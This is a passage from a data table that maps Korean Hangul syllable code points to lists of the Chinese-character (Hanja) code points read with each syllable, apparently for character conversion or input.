5770 5883\n5E9A 5F91 6176 61AC 64CE 656C 666F 66BB 66F4 6897\n6D87 7085 70F1 749F 74A5 74CA 75D9 786C 78EC 7ADF\n7AF6 7D45 7D93 8015 803F 811B 8396 8B66 8F15 9015\n93E1 9803 9838 9A5A 9BE8 518F 5244 54FD 60F8 61BC\n6243 6AA0 7162 712D 71B2 754A 7AF8 7D86 9848 7F44\n8927 8B26 99C9 9BC1 9EE5\nACC4\n4FC2 5553 583A 5951 5B63 5C46 60B8 6212 6842 68B0\n68E8 6EAA 754C 7678 78CE 7A3D 7CFB 7E6B 7E7C 8A08\n8AA1 8C3F 968E 9DC4 5826 70D3 7608 798A 7B53 7DAE\n7E18 7F7D 846A 858A 96DE 9AFB\nACE0\n53E4 53E9 544A 5471 56FA 59D1 5B64 5C3B 5EAB 62F7\n6537 6545 6572 66A0 67AF 69C1 6CBD 75FC 7690 777E\n7A3F 7F94 8003 80A1 818F 82E6 82FD 83F0 85C1 8831\n88B4 8AA5 8F9C 932E 96C7 9867 9AD8 9F13 4F30 51C5\n5233 5859 6772 6832 69C0 69F9 6ADC 726F 768B 76EC\n77BD 7A01 7B8D 7BD9 7CD5 7F5F 7F96 7FFA 80EF 89DA\n8A41 90DC 9164 9237 9760 9D23 9DF1\nACE1\n54ED 659B 66F2 688F 7A40 8C37 9D60 56B3 69F2 7E20\n89F3 8F42\nACE4\n56F0 5764 5D11 6606 68B1 68CD 6EFE 7428 889E 9BE4\n5803 5D10 6083 6346 7DC4 886E 88CD 890C 9315 95AB\n9AE1 9D7E 9DA4 9F6B\nACE8\n6C68 9AA8 6430 69BE 77FB 9DBB\nACF5\n4F9B 516C 5171 529F 5B54 5DE5 6050 606D 62F1 63A7\n653B 73D9 7A7A 86A3 8CA2 978F 5025 5D06 60BE 6831\n69D3 7B9C 86E9 86EC 8D1B 8DEB 91ED 9F94\nACF6\n4E32\nACFC\n5BE1 6208 679C 74DC 79D1 83D3 8A87 8AB2 8DE8 904E\n934B 9846 4F89 581D 5925 5938 64BE 7313 7A1E 7AA0\n874C 88F9 8E1D 9299 9A0D\nACFD\n5ED3 69E8 85FF 90ED 6901 7668 8EA9 970D 97B9\nAD00\n51A0 5B98 5BEC 6163 68FA 6B3E 704C 742F 74D8 7BA1\n7F50 83C5 89C0 8CAB 95DC 9928 4E31 6DAB 721F 76E5\n797C 7ABE 7B66 7DB0 8F28 9327 9475 96DA 9874 9AD6\n9E1B\nAD04\n522E 605D 62EC 9002 4F78 681D 7B48 8052 9AFA 9D30\nAD11\n4F8A 5149 5321 58D9 5EE3 66E0 6D38 709A 72C2 73D6\n7B50 80F1 945B 6047 6844 6846 720C 7377 78FA 7D56\n7E8A 832A 8A86 8A91\nAD18\n5366 639B 7F6B 54BC 6302 7F63 8A7F\nAD34\n4E56 5080 584A 58DE 602A 6127 62D0 69D0 9B41 5ABF\n5EE5 6060 7470 749D 84AF 8958\nAD35\n9998\nAD49\n5B8F 7D18 80B1 8F5F 6D64 89E5 8A07 958E\nAD50\n4EA4 50D1 54AC 55AC 5B0C 5DA0 5DE7 652A 654E 6821\n6A4B 72E1 768E 77EF 7D5E 7FF9 81A0 854E 86DF 8F03\n8F4E 90CA 9903 9A55 9BAB 4F7C 5604 5610 566D 5699\n59E3 618D 649F 6648 669E 69B7 78FD 7A96 8DAB 8E7B\n9278 9AB9 9D41 9F69\nAD6C\n4E18 4E45 4E5D 4EC7 4FF1 5177 52FE 5340 53E3 53E5\n548E 5614 5775 57A2 5BC7 5D87 5ED0 61FC 62D8 6551\n67B8 67E9 69CB 6B50 6BC6 6BEC 6C42 6E9D 7078 72D7\n7396 7403 77BF 77E9 7A76 7D7F 8009 81FC 8205 820A\n82DF 8862 8B33 8CFC 8EC0 9011 90B1 9264 92B6 99D2\n9A45 9CE9 9DD7 9F9C 4F49 4F5D 4FC5 50B4 5193 52AC\n5336 53B9 53F4 5778 59E4 5ABE 5AD7 5C68 5CA3 5F40\n6235 6263 6344 6406 6473 662B 6998 6F1A 7486 750C\n759A 75C0 766F 7A9B 7AB6 7BDD 7CD7 80CA 849F 86AF\n88D8 89AF 8A6C 9058 91E6 97DD 97ED 97EE 98B6 99C8\n9B2E 9DC7 9E1C\nAD6D\n570B 5C40 83CA 97A0 97AB 9EB4 530A 63AC 8DFC 9EAF\nAD70\n541B 7A98 7FA4 88D9 8ECD 90E1 6343 687E 76B8\nAD74\n5800 5C48 6398 7A9F 5014 5D1B 6DC8 8A58\nAD81\n5BAE 5F13 7A79 7AAE 828E 8EAC 8EB3\nAD8C\n5026 5238 52F8 5377 5708 62F3 6372 6B0A 6DC3 7737\n52CC 60D3 68EC 7760 7DA3 8737\nAD90\n53A5 7357 8568 8E76 95D5\nADA4\n673A 6AC3 6F70 8A6D 8ECC 994B 4F79 51E0 5282 5331\n6192 6485 6A3B 6C3F 7C0B 7E62 8DEA 95E0 993D 9E82\nADC0\n6677 6B78 8CB4 9B3C\nADDC\n53EB 572D 594E 63C6 69FB 73EA 7845 7ABA 7AC5 7CFE\n8475 898F 8D73 9035 95A8 5232 5AE2 5B00 5DCB 668C\n694F 6A1B 6F59 777D 7CFA 866C 866F 8DEC 90BD 95DA\n980D 9997\nADE0\n52FB 5747 7547 7B60 83CC 921E 56F7 9E8F\nADE4\n6A58\nADF9\n514B 524B 5287 621F 68D8 6975 9699 4E9F 5C05 5C50\n90C4\nADFC\n50C5 52A4 52E4 61C3 65A4 6839 69FF 747E 7B4B 82B9\n83EB 89B2 8B39 8FD1 9949 537A 53AA 5890 5DF9 5ED1\n6F0C 89D4 8DDF 91FF 9773\nAE08\n4ECA 5997 64D2 6611 6A8E 7434 7981 79BD 82A9 887E\n887F 895F 9326 552B 5664 5D94 7B12 9EC5\nAE09\n4F0B 53CA 6025 6271 6C72 7D1A 7D66 573E 5C8C 7680\n790F 7B08 82A8\nAE0D\n4E98 5162 77DC 80AF 4E99 6B91\nAE30\n4F01 4F0E 5176 5180 55DC 5668 573B 57FA 57FC 5914\n5947 5993 5BC4 5C90 5D0E 5DF1 5E7E 5FCC 6280 65D7\n65E3 671E 671F 675E 68CB 68C4 6A5F 6B3A 6C23 6C7D\n6C82 6DC7 7398 7426 742A 7482 74A3 7578 757F 7881\n78EF 7941 7947 7948 797A 7B95 7D00 7DBA 7F88 8006\n802D 808C 8A18 8B4F 8C48 8D77 9321 9324 98E2 9951\n9A0E 9A0F 9A65 9E92 50DB 525E 588D 5C7A 5E8B 5F03\n5FEE 612D 638E 6532 65C2 66A3 66C1 68CA 6B67 7081\n7309 79A8 7DA5 7DA6 7F87 80B5 82AA 82B0 8604 8641\n871D 87E3 8989 89AC 8DC2 9691 980E 9B10 9C2D 9ED6\nAE34\n7DCA\nAE38\n4F76 5409 62EE 6854 59DE 86E3\nAE40\n91D1\nB07D\n55AB\nB098\n513A 5A1C 61E6 62CF 62FF 90A3 6310 632A 689B 7CE5\n7CEF\nB099\n8AFE\nB09C\n6696 7156 96E3 5044 7157 8D67 992A\nB0A0\n634F 637A\nB0A8\n5357 678F 6960 6E73 7537 5583 67DF\nB0A9\n7D0D 8872\nB0AD\n56CA 5A18 66E9\nB0B4\n4E43 5167 5948 67F0 8010 5302 5976 5B2D 8FFA 9F10\nB140\n5973\nB141\n60C4\nB144\n5E74 649A 79CA 78BE\nB150\n5FF5 606C 62C8 637B\nB155\n5BE7 5BD7 4F5E 511C 5680 6FD8\nB178\n52AA 5974 5F29 6012 7459 99D1 5476 5B65 5CF1 7331\n7B2F 81D1\nB18D\n6FC3 81BF 8FB2 5102 5665 7A60 91B2\nB1CC\n60F1 8166 9912\nB1E8\n5C3F 5ACB 5B32 6DD6 78E0 88CA 9403\nB204\n5542 8028\nB208\n5AE9\nB20C\n8A25 5436 80AD\nB274\n677B 7D10 5FF8 9775\nB275\n8844\nB2A5\n80FD\nB2C8\n5C3C 6CE5 5462 6029 67C5 7962 79B0 81A9\nB2C9\n533F 6EBA 6635 66B1\nB2E4\n591A 8336 7239\nB2E8\n4E39 4EB6 4F46 55AE 5718 58C7 5F56 65B7 65E6 6A80\n6BB5 6E4D 77ED 7AEF 7C1E 7DDE 86CB 8892 9132 935B\n6171 62C5 6934 6F19 7649 8011 80C6 8176 8711\nB2EC\n64BB 6FBE 737A 75B8 9054 59B2 601B 95E5 977C 97C3\nB2F4\n5556 574D 61BA 64D4 66C7 6DE1 6E5B 6F6D 6FB9 75F0\n8043 81BD 8541 8983 8AC7 8B5A 931F 510B 5557 5649\n58B0 58DC 6BEF 79AB 7F4E 859D 90EF 9EEE 9EF5\nB2F5\n6C93 7553 7B54 8E0F 905D\nB2F9\n5510 5802 5858 5E62 6207 649E 68E0 7576 7CD6 87B3\n9EE8 5018 513B 515A 642A 6A94 6E8F 746D 74AB 77A0\n7911 87F7 8960 8B9C 93DC 943A 9933 9939\nB300\n4EE3 5788 576E 5927 5C0D 5CB1 5E36 5F85 6234 64E1\n73B3 81FA 888B 8CB8 968A 9EDB 5113 61DF 65F2 6C4F\n7893 9413\nB301\n5B85\nB355\n5FB7 60B3\nB3C4\n5012 5200 5230 5716 5835 5857 5C0E 5C60 5CF6 5D8B\n5EA6 5F92 60BC 6311 6389 6417 6843 68F9 6AC2 6DD8\n6E21 6ED4 6FE4 71FE 76DC 7779 79B1 7A3B 8404 89A9\n8CED 8DF3 8E48 9003 9014 9053 90FD 934D 9676 97DC\n53E8 58D4 5F22 5FC9 6146 638F 642F 64E3 6AAE 6D2E\n6D82 7A0C 83DF 9174 95CD 9780 97B1 9955 9F17\nB3C5\n6BD2 7006 7258 72A2 7368 7763 79BF 7BE4 7E9B 8B80\n6ADD 9EF7\nB3C8\n58A9 60C7 6566 65FD 66BE 6C8C 711E 71C9 8C5A 9813\n5F34 6F61 8E89\nB3CC\n4E6D 7A81 5484 5817\nB3D9\n4EDD 51AC 51CD 52D5 540C 61A7 6771 6850 68DF 6D1E\n6F7C 75BC 77B3 7AE5 80F4 8463 9285 4F97 50EE 54C3\n578C 5CD2 5F64 6723 6A66 6DB7 825F 82F3 833C 856B\n8740 932C 9B97\nB450\n515C 6597 675C 6793 75D8 7AC7 8373 8C46 9017 982D\n6296 6581 809A 8130 86AA 8839 9661\nB454\n5C6F 81C0 829A 9041 906F 920D 7A80 8FCD\nB458\n4E67\nB4DD\n5F97\nB4F1\n5D9D 6A59 71C8 767B 7B49 85E4 8B04 9127 9A30 51F3\n58B1 6ED5 78F4 7C50 7E22 87A3 9419\nB77C\n5587 61F6 7669 7F85 863F 87BA 88F8 908F 502E 56C9\n66EA 7630 7822 81DD 947C 9A3E 9A58\nB77D\n6D1B 70D9 73DE 7D61 843D 916A 99F1 55E0 7296\nB780\n4E82 5375 6B04 6B12 703E 721B 862D 9E1E 5B3E 5E71\n6514 7053 8974 947E 95CC\nB784\n524C 8FA3 57D2 8FA2\nB78C\n5D50 64E5 652C 6B16 6FEB 7C43 7E9C 85CD 8964 89BD\n5A6A 60CF\nB78D\n62C9 81D8 881F 945E\nB791\n5ECA 6717 6D6A 72FC 7405 746F 8782 90DE 6994 7860\n7A02 83A8 870B 95AC\nB798\n4F86 5D0D 5FA0 840A 6DF6 9A0B\nB7AD\n51B7\nB7B5\n63A0 7565 7567\nB7C9\n4EAE 5006 5169 51C9 6881 6A11 7CAE 7CB1 7CE7 826F\n8AD2 8F1B 91CF 55A8 60A2 690B 6DBC 8E09 9B4E\nB824\n4FB6 5137 52F5 5442 5EEC 616E 623E 65C5 6ADA 6FFE\n792A 85DC 8823 95AD 9A62 9A6A 9E97 9ECE 5122 53B2\n5533 68A0 7658 7CF2 8182 81DA 8821 908C 9462\nB825\n529B 66C6 6B77 701D 792B 8F62 9742 650A 6ADF 6AEA\n7667 8F63 9148\nB828\n6190 6200 6523 6F23 7149 7489 7DF4 806F 84EE 8F26\n9023 934A 5B4C 695D 6E45 81E0 93C8 9C0A 9C31\nB82C\n51BD 5217 52A3 6D0C 70C8 88C2 6312 6369 98B2\nB834\n5EC9 6582 6BAE 6FC2 7C3E 5969 7032 78CF\nB835\n7375 8E90 9B23\nB839\n4EE4 4F36 56F9 5CBA 5DBA 601C 73B2 7B2D 7F9A 7FCE\n8046 901E 9234 96F6 9748 9818 9F61 53E6 5464 59C8\n5CAD 6624 6B1E 6CE0 79E2 82D3 86C9 8EE8 9D12 9E77\nB840\n4F8B 6FA7 79AE 91B4 96B7 96B8 9C67\nB85C\n52DE 6488 64C4 6AD3 6F5E 7018 7210 76E7 8001 8606\n865C 8DEF 8F05 9732 9B6F 9DFA 9E75 58DA 6EF7 7388\n7646 7A82 826A 826B 8F64 942A 946A 9871 9AD7 9C78\n9E15\nB85D\n788C 797F 7DA0 83C9 9304 9E7F 9E93 5725 5F54 6DE5\n6F09 7C0F 8F46 9A04\nB860\n8AD6\nB871\n58DF 5F04 6727 7027 74CF 7C60 807E 5131 650F 66E8\n7931 8622 96B4 9F8E\nB8B0\n5121 7028 7262 78CA 8CC2 8CDA 8CF4 96F7 6502 790C\n7927 7C5F 7E87 7F4D 8012 857E 8A84 9179 9842\nB8CC\n4E86 50DA 5BEE 5ED6 6599 71CE 7642 77AD 804A 84FC\n907C 9B27 5639 5AFD 64A9 66B8 6F66 7360 7E5A 818B\n91AA 9410 98C2 98C9\nB8E1\n9F8D 9F92\nB8E8\n58D8 5A41 5C62 6A13 6DDA 6F0F 763B 7D2F 7E37 851E\n8938 93E4 964B 50C2 560D 5D81 617A 802C 87BB 9ACF\nB958\n5289 65D2 67F3 69B4 6D41 6E9C 700F 7409 7460 7559\n7624 786B 8B2C 985E 6A4A 7E32 7E8D 905B 9DB9\nB959\n516D 622E 9678 52E0\nB95C\n4F96 502B 5D19 6DEA 7DB8 8F2A 6384\nB960\n5F8B 6144 6817 5D42 6EA7\nB96D\n9686 7643 7ABF\nB975\n52D2 808B 6CD0\nB984\n51DC 51DB 5EE9 6F9F\nB989\n51CC 695E 7A1C 7DBE 83F1 9675 5030 8506\nB9AC\n4FDA 5229 5398 540F 550E 5C65 60A7 674E 68A8 6D6C\n7281 72F8 7406 7483 75E2 7C6C 7F79 7FB8 8389 88CF\n88E1 91CC 91D0 96E2 9BC9 4FD0 527A 54E9 5AE0 6D96\n6F13 79BB 8385 870A 87AD 8C8D 9090 9B51 9ED0\nB9B0\n541D 6F7E 71D0 7498 85FA 8EAA 96A3 9C57 9E9F 5D99\n608B 735C 78F7 7CA6 7CBC 7E57 8E99 8F54 9130 93FB\n9A4E\nB9BC\n6797 6DCB 7433 81E8 9716 75F3\nB9BD\n782C 7ACB 7B20 7C92 5CA6\nB9C8\n6469 746A 75F2 78BC 78E8 99AC 9B54 9EBB 5298 5ABD\n879E 87C7 9EBD 9EBF\nB9C9\n5BDE 5E55 6F20 819C 83AB 9088 7799 93CC\nB9CC\n4E07 534D 5A29 5DD2 5F4E 6162 633D 6669 66FC 6EFF\n6F2B 7063 779E 842C 8513 883B 8F13 9945 9C3B 5881\n5ADA 5E54 7E35 8B3E 8E63 93CB 93DD 9B18\nB9D0\n551C 62B9 672B 6CAB 8309 896A 977A 5E15 79E3\nB9DD\n4EA1 5984 5FD8 5FD9 671B 7DB2 7F54 8292 832B 83BD\n8F1E 9099 60D8 6C52 6F2D 83BE 87D2 9B4D\nB9E4\n57CB 59B9 5A92 5BD0 6627 679A 6885 6BCF 7164 7F75\n8CB7 8CE3 9081 9B45 5446 6973 6CAC 73AB 771B 82FA\n8393 9176 9709\nB9E5\n8108 8C8A 964C 9A40 9EA5 8109 8C83 8C98\nB9F9\n5B5F 6C13 731B 76F2 76DF 840C 511A 750D 753F 867B\nBA71\n51AA 8993 5E4E 7CF8\nBA74\n514D 5195 52C9 68C9 6C94 7704 7720 7DBF 7DEC 9762\n9EB5 4FDB 6E4E 7CC6 7DDC 9EAA\nBA78\n6EC5 8511 7BFE 884A\nBA85\n51A5 540D 547D 660E 669D 6927 6E9F 76BF 7791 8317\n84C2 879F 9169 9298 9CF4 6D3A\nBA8C\n8882\nBAA8\n4FAE 5192 52DF 59C6 5E3D 6155 6478 6479 66AE 67D0\n6A21 6BCD 6BDB 725F 7261 7441 7738 77DB 8017 82BC\n8305 8B00 8B28 8C8C 4F94 59E5 5AA2 5AEB 6048 65C4\n7683 770A 7C8D 7CE2 8004 8765 87CA 927E 9AE6\nBAA9\n6728 6C90 7267 76EE 7766 7A46 9DA9 51E9 82DC\nBAB0\n6B7F 6C92\nBABD\n5922 6726 8499 5E6A 61DE 66DA 6E95 6FDB 77A2 77C7\n8268 96FA 9E0F\nBB18\n536F 5893 5999 5EDF 63CF 6634 6773 6E3A 732B 7AD7\n82D7 9328 6DFC 7707 85D0 8C93\nBB34\n52D9 5DEB 61AE 61CB 620A 62C7 64AB 65E0 6959 6B66\n6BCB 7121 73F7 755D 7E46 821E 8302 856A 8AA3 8CBF\n9727 9D61 511B 5638 5EE1 81B4 9A16\nBB35\n58A8 9ED8 563F\nBB38\n5011 520E 543B 554F 6587 6C76 7D0A 7D0B 805E 868A\n9580 96EF 5301 6097 61E3 6286 636B 7086 748A\nBB3C\n52FF 6C95 7269\nBBF8\n5473 5A9A 5C3E 5D4B 5F4C 5FAE 672A 68B6 6963 6E3C\n6E44 7709 7C73 7F8E 8587 8B0E 8FF7 9761 9EF4 4EB9\n5A13 5A84 5ABA 5F25 5F2D 6549 7030 737C 7CDC 7E3B\n82FF 863C 9E8B\nBBFC\n5CB7 60B6 610D 61AB 654F 65FB 65FC 6C11 6CEF 739F\n73C9 7DE1 9594 5FDE 5FDF 668B 6E63 7DCD 7F60 82E0\n95A9 9C35 9EFD\nBC00\n5BC6 871C 8B10 6A12 6EF5\nBC15\n525D 535A 62CD 640F 64B2 6734 6A38 6CCA 73C0 749E\n7B94 7C95 7E1B 818A 8236 8584 8FEB 96F9 99C1 4EB3\n6B02 7254 939B 99EE 9AC6\nBC18\n4F34 534A 53CD 53DB 62CC 642C 6500 6591 69C3 6CEE\n6F58 73ED 7554 7622 76E4 76FC 78D0 78FB 792C 7D46\n822C 87E0 8FD4 9812 98EF 5ABB 6273 642B 653D 670C\n80D6 878C 9816\nBC1C\n52C3 62D4 64A5 6E24 6F51 767C 8DCB 91B1 9262 9AEE\n9B43 54F1 6D61 8116 9238 9D53\nBC29\n5023 508D 574A 59A8 5C28 5E47 5F77 623F 653E 65B9\n65C1 6609 678B 699C 6EC2 78C5 7D21 80AA 8180 822B\n82B3 84A1 868C 8A2A 8B17 90A6 9632 9F90 4EFF 5396\n5E6B 5FAC 6412 65CA 6886 7253 823D 8783 938A 9AE3\n9B74\nBC30\n500D 4FF3 57F9 5F98 62DC 6392 676F 6E43 7119 76C3\n80CC 80DA 88F4 88F5 8919 8CE0 8F29 914D 966A 574F\n576F 6252 7432 84D3\nBC31\n4F2F 4F70 5E1B 67CF 6822 767D 767E 9B44 7CA8\nBC88\n5E61 6A0A 7169 71D4 756A 7E41 8543 85E9 98DC 7E59\n7FFB 81B0 8629 88A2\nBC8C\n4F10 7B4F 7F70 95A5 6A43 7F78\nBC94\n51E1 5E06 68B5 6C3E 6C4E 6CDB 72AF 7BC4 8303 7B35\n8A09 98BF\nBC95\n6CD5 743A\nBCBD\n50FB 5288 58C1 64D8 6A97 74A7 7656 78A7 8617 95E2\n9739 64D7 7513 7588 895E 9DFF 9F0A\nBCC0\n535E 5F01 8B8A 8FA8 8FAF 908A 5FED 6283 7C69 8FAE\n8141 8CC6 99E2 9ABF 9D18\nBCC4\n5225 77A5 9C49 9F08 5F46 9DE9\nBCD1\n4E19 5002 5175 5C5B 5E77 661E 663A 67C4 68C5 70B3\n7501 75C5 79C9 7ADD 8F27 9920 9A08 4E26 5840 7D63\n7F3E 8FF8 9235 92F2 927C\nBCF4\n4FDD 5821 5831 5BF6 666E 6B65 6D11 6E7A 6F7D 73E4\n752B 83E9 88DC 8913 8B5C 8F14 4FCC 76D9 7C20 8446\n974C 9D07 9EFC\nBCF5\n4F0F 50D5 5310 535C 5B93 5FA9 670D 798F 8179 832F\n8514 8907 8986 8F39 8F3B 99A5 9C12 58A3 5E5E 6251\n6FEE 7B99 83D4 8760 876E 9D69\nBCF8\n672C\nBCFC\n4E76\nBD09\n4FF8 5949 5C01 5CEF 5CF0 6367 68D2 70FD 71A2 742B\n7E2B 84EC 8702 9022 92D2 9CF3 4E30 5906 7BF7 7D98\n83F6 9D0C\nBD80\n4E0D 4ED8 4FEF 5085 5256 526F 5426 5490 57E0 592B\n5A66 5B5A 5B75 5BCC 5E9C 6276 6577 65A7 6D6E 6EA5\n7236 7B26 7C3F 7F36 8150 8151 819A 8240 8299 83A9\n8A03 8CA0 8CE6 8CFB 8D74 8DBA 90E8 91DC 961C 9644\n99D9 9CE7 4EC6 4FD8 5A8D 6294 62CA 638A 6874 6991\n6DAA 739E 7954 7B5F 7F58 7F66 80D5 82A3 82FB 8500\n86A8 8709 889D 88D2 8DD7 9207 982B 9B92 9EA9\nBD81\n5317\nBD84\n5206 5429 5674 58B3 5954 596E 5FFF 61A4 626E 6610\n6C7E 711A 76C6 7C89 7CDE 7D1B 82AC 8CC1 96F0 4F53\n574C 5E09 678C 68FB 68FC 6C1B 6E53 6FC6 7287 755A\n780F 7B28 80A6 81B9 8561 8F52 9EFA 9F22\nBD88\n4F5B 5F17 5F7F 62C2 5CAA 7953 7D31 8274 8300 97CD\n9AF4 9EFB\nBD95\n5D29 670B 68DA 787C 7E43 9D6C 580B 6F30 9B05\nBE44\n4E15 5099 5315 532A 5351 5983 5A62 5E87 60B2 618A\n6249 6279 6590 6787 69A7 6BD4 6BD6 6BD7 6BD8 6CB8\n7435 75FA 7812 7891 79D5 79D8 7C83 7DCB 7FE1 80A5\n813E 81C2 83F2 871A 88E8 8AB9 8B6C 8CBB 9119 975E\n98DB 9F3B 4EF3 4FFE 5255 572E 57E4 59A3 5C41 5EB3\n60B1 68D0 6911 6C98 6DDD 6DE0 6FDE 72C9 72D2 75DE\n75F9 7765 7955 7BE6 7D15 7F86 8153 8298 82BE 8406\n84D6 868D 8C94 8D14 8F61 90B3 90EB 959F 9674 970F\n97B4 9A11 9A1B 9AC0 9F19\nBE48\n56AC 5B2A 5F6C 658C 6AB3 6BAF 6D5C 6FF1 7015 725D\n73AD 8CA7 8CD3 983B 5110 64EF 77C9 7E7D 81CF 860B\n8C73 90A0 944C 9726 9870 9B02 9B22\nBE59\n6191 6C37 8058 9A01 51B0 51ED 51F4 5A09\nC0AC\n4E4D 4E8B 4E9B 4ED5 4F3A 4F3C 4F7F 4FDF 50FF 53F2\n53F8 5506 55E3 56DB 58EB 5962 5A11 5BEB 5BFA 5C04\n5DF3 5E2B 5F99 601D 6368 659C 65AF 67F6 67FB 68AD\n6B7B 6C99 6CD7 6E23 7009 7345 7802 793E 7940 7960\n79C1 7BE9 7D17 7D72 8086 820D 838E 84D1 86C7 88DF\n8A50 8A5E 8B1D 8CDC 8D66 8FAD 90AA 98FC 99DF 9E9D\n509E 525A 5378 548B 59D2 6942 69AD 6C5C 75E7 76B6\n7AE2 7B25 7F37 8721 8997 99DB 9B66 9BCA 9C24\nC0AD\n524A 6714 69CA 720D 84B4 9460\nC0B0\n5098 522A 5C71 6563 6C55 73CA 7523 759D 7B97 849C\n9178 9730 5277 59CD 5B7F 6A75 6F78 6F98 72FB 7E56\n8A15 93DF 958A 6BFF\nC0B4\n4E77 6492 6BBA 715E 85A9\nC0BC\n4E09 6749 68EE 6E17 829F 8518 886B 7CDD 91E4 9B16\nC0BD\n63F7 6F81 9212 98AF 5345 553C 6B43 7FE3 9364 9705\n970E\nC0C1\n4E0A 50B7 50CF 511F 5546 55AA 5617 5B40 5C19 5CE0\n5E38 5E8A 5EA0 5EC2 60F3 6851 6A61 6E58 723D 7240\n72C0 76F8 7965 7BB1 7FD4 88F3 89F4 8A73 8C61 8CDE\n971C 587D 5F9C 664C 6BA4 751E 7DD7 939F 9859 9B3A\nC0C8\n585E 74BD 8CFD 9C13\nC0C9\n55C7 7A61 7D22 8272 69ED 6FC7 7012\nC0DD\n7272 751F 7525 7B19 771A 924E\nC11C\n5885 58FB 5DBC 5E8F 5EB6 5F90 6055 6292 637F 654D\n6691 66D9 66F8 6816 68F2 7280 745E 7B6E 7D6E 7DD6\n7F72 80E5 8212 85AF 897F 8A93 901D 92E4 9ECD 9F20\n566C 5A7F 63DF 6495 6E51 6FA8 7D13 8021 82A7 924F\nC11D\n5915 596D 5E2D 60DC 6614 6673 6790 6C50 6DC5 6F5F\n77F3 78A9 84C6 91CB 932B 6670 77FD 814A 8203 8725\n9250 9F2B\nC120\n4ED9 50CA 5148 5584 5B0B 5BA3 6247 657E 65CB 6E32\n717D 7401 7444 7487 74BF 766C 79AA 7DDA 7E55 7FA8\n817A 81B3 8239 861A 87EC 8A75 8DE3 9078 9291 9425\n994D 9BAE 58A1 5AD9 5C1F 5C20 5C73 6103 6B5A 71AF\n7B45 7DAB 8B54 8B71 93C7 9A38 9C53 9C7B\nC124\n5368 5C51 6954 6CC4 6D29 6E2B 820C 859B 893B 8A2D\n8AAA 96EA 9F67 5070 5A9F 63F2 66AC 7207 789F 7A27\n7D32\nC12C\n5261 66B9 6BB2 7E96 87FE 8D0D 9583 965D 5B45 61B8\n647B 7752 8B6B 929B 97F1\nC12D\n651D 6D89 71EE 56C1 61FE 7044 8076 8EA1 9477 9873\nC131\n57CE 59D3 5BAC 6027 60FA 6210 661F 665F 7329 73F9\n76DB 7701 7B6C 8056 8072 8165 8AA0 9192 7446 9A02\nC138\n4E16 52E2 6B72 6D17 7A05 7B39 7D30 8CB0 5E28 6D12\n7E50 86FB\nC18C\n53EC 562F 5851 5BB5 5C0F 5C11 5DE2 6240 6383 6414\n662D 68B3 6CBC 6D88 6EAF 701F 70A4 71D2 7526 758F\n758E 7619 7B11 7BE0 7C2B 7D20 7D39 852C 856D 8607\n8A34 900D 9061 90B5 92B7 97F6 9A37 4F4B 4FCF 5372\n55C9 57FD 5850 612C 634E 6A14 6CDD 7B71 7BBE 7E45\n7FDB 8186 8258 86F8 8E08 9165 9704 9B48 9BB9 9C3A\nC18D\n4FD7 5C6C 675F 6D91 7C9F 7E8C 8B16 8D16 901F 6D2C\n906C\nC190\n5B6B 5DFD 640D 84C0 905C 98E1 98E7 98F1\nC194\n7387 7AA3 87C0\nC1A1\n5B8B 609A 677E 6DDE 8A1F 8AA6 9001 980C 67D7 7AE6\n9B06\nC1C4\n5237 7051 788E 9396 60E2 66EC 7463\nC1E0\n8870 91D7\nC218\n4FEE 53D7 55FD 56DA 5782 58FD 5AC2 5B88 5CAB 5CC0\n5E25 6101 620D 624B 6388 641C 6536 6578 6A39 6B8A\n6C34 6D19 6F31 71E7 72E9 7378 7407 74B2 7626 7761\n79C0 7A57 7AEA 7CB9 7D8F 7DAC 7E61 7F9E 8129 8331\n8490 84DA 85EA 8896 8AB0 8B90 8F38 9042 9083 916C\n9296 92B9 968B 96A7 96A8 96D6 9700 9808 9996 9AD3\n9B1A 53DF 552E 5ECB 666C 6BB3 6CC5 6EB2 6FC9 775F\n7762 778D 795F 7C54 813A 8184 81B8 8B8E 8C4E 9672\n98BC 9948\nC219\n53D4 587E 5919 5B70 5BBF 6DD1 6F5A 719F 7421 74B9\n8085 83FD 4FF6 500F 5135 5A4C 6A5A 9A4C 9DEB\nC21C\n5DE1 5F87 5FAA 6042 65EC 6812 696F 6A53 6B89 6D35\n6DF3 73E3 76FE 77AC 7B4D 7D14 8123 821C 8340 84F4\n8563 8A62 8AC4 9187 931E 9806 99B4 4F9A 72E5 76F9\n7734 7D03 80AB 99E8 9B0A 9D89\nC220\n620C 8853 8FF0 9265 7D49\nC22D\n5D07 5D27 5D69 83D8\nC26C\n5005 6DEC 7120\nC2AC\n745F 819D 8768 8671\nC2B5\n6FD5 62FE 7FD2 8936 8972 6174 71A0 96B0\nC2B9\n4E1E 4E58 50E7 52DD 5347 627F 6607 7E69 8805 965E\n584D 9B19\nC2DC\n4F8D 5319 5636 59CB 5AA4 5C38 5C4E 5C4D 5E02 5F11\n6043 65BD 662F 6642 67BE 67F4 731C 77E2 793A 7FC5\n8494 84CD 8996 8A66 8A69 8AE1 8C55 8C7A 5072 5155\n53AE 557B 5852 5EDD 67B2 67F9 6F8C 7DE6 7FE4 8ADF\n8AF0 8C49 91C3 9349 984B\nC2DD\n57F4 5BD4 5F0F 606F 62ED 690D 6B96 6E5C 7184 7BD2\n8755 8B58 8EFE 98DF 98FE 55B0 5AB3 683B\nC2E0\n4F38 4F81 4FE1 547B 5A20 5BB8 613C 65B0 6668 71FC\n7533 795E 7D33 814E 81E3 8398 85AA 85CE 8703 8A0A\n8EAB 8F9B 8FC5 54C2 567A 56DF 59FA 6C5B 77E7 8124\n8D10 9823 99EA\nC2E4\n5931 5BA4 5BE6 6089 87CB 98CB\nC2EC\n5BE9 5C0B 5FC3 6C81 6DF1 700B 751A 82AF 8AF6 68A3\n6F6F 71D6 845A 9414 9C4F\nC2ED\n4EC0 5341 8FBB\nC30D\n96D9\nC528\n6C0F\nC544\n4E9E 4FC4 5152 555E 5A25 5CE8 6211 7259 82BD 83AA\n86FE 8859 8A1D 963F 96C5 9913 9D09 9D5D 4E2B 54E6\n5A3F 5A40 5CE9 75B4 7811 7B0C 8FD3 930F 9D5E\nC545\n580A 5CB3 5DBD 5E44 60E1 6115 63E1 6A02 6E25 9102\n9354 984E 9C10 9F77 5053 537E 54A2 5594 5669 816D\n843C 89A8 8AE4 9D9A 9F76\nC548\n5B89 5CB8 6309 664F 6848 773C 96C1 978D 9854 9B9F\n6849 72B4 8D0B 9D08\nC54C\n65A1 8B01 8ECB 95BC 560E 621E 63E0 7A75 8A10 904F\n981E 9D36\nC554\n5535 5CA9 5DD6 5EB5 6697 764C 83F4 95C7 557D 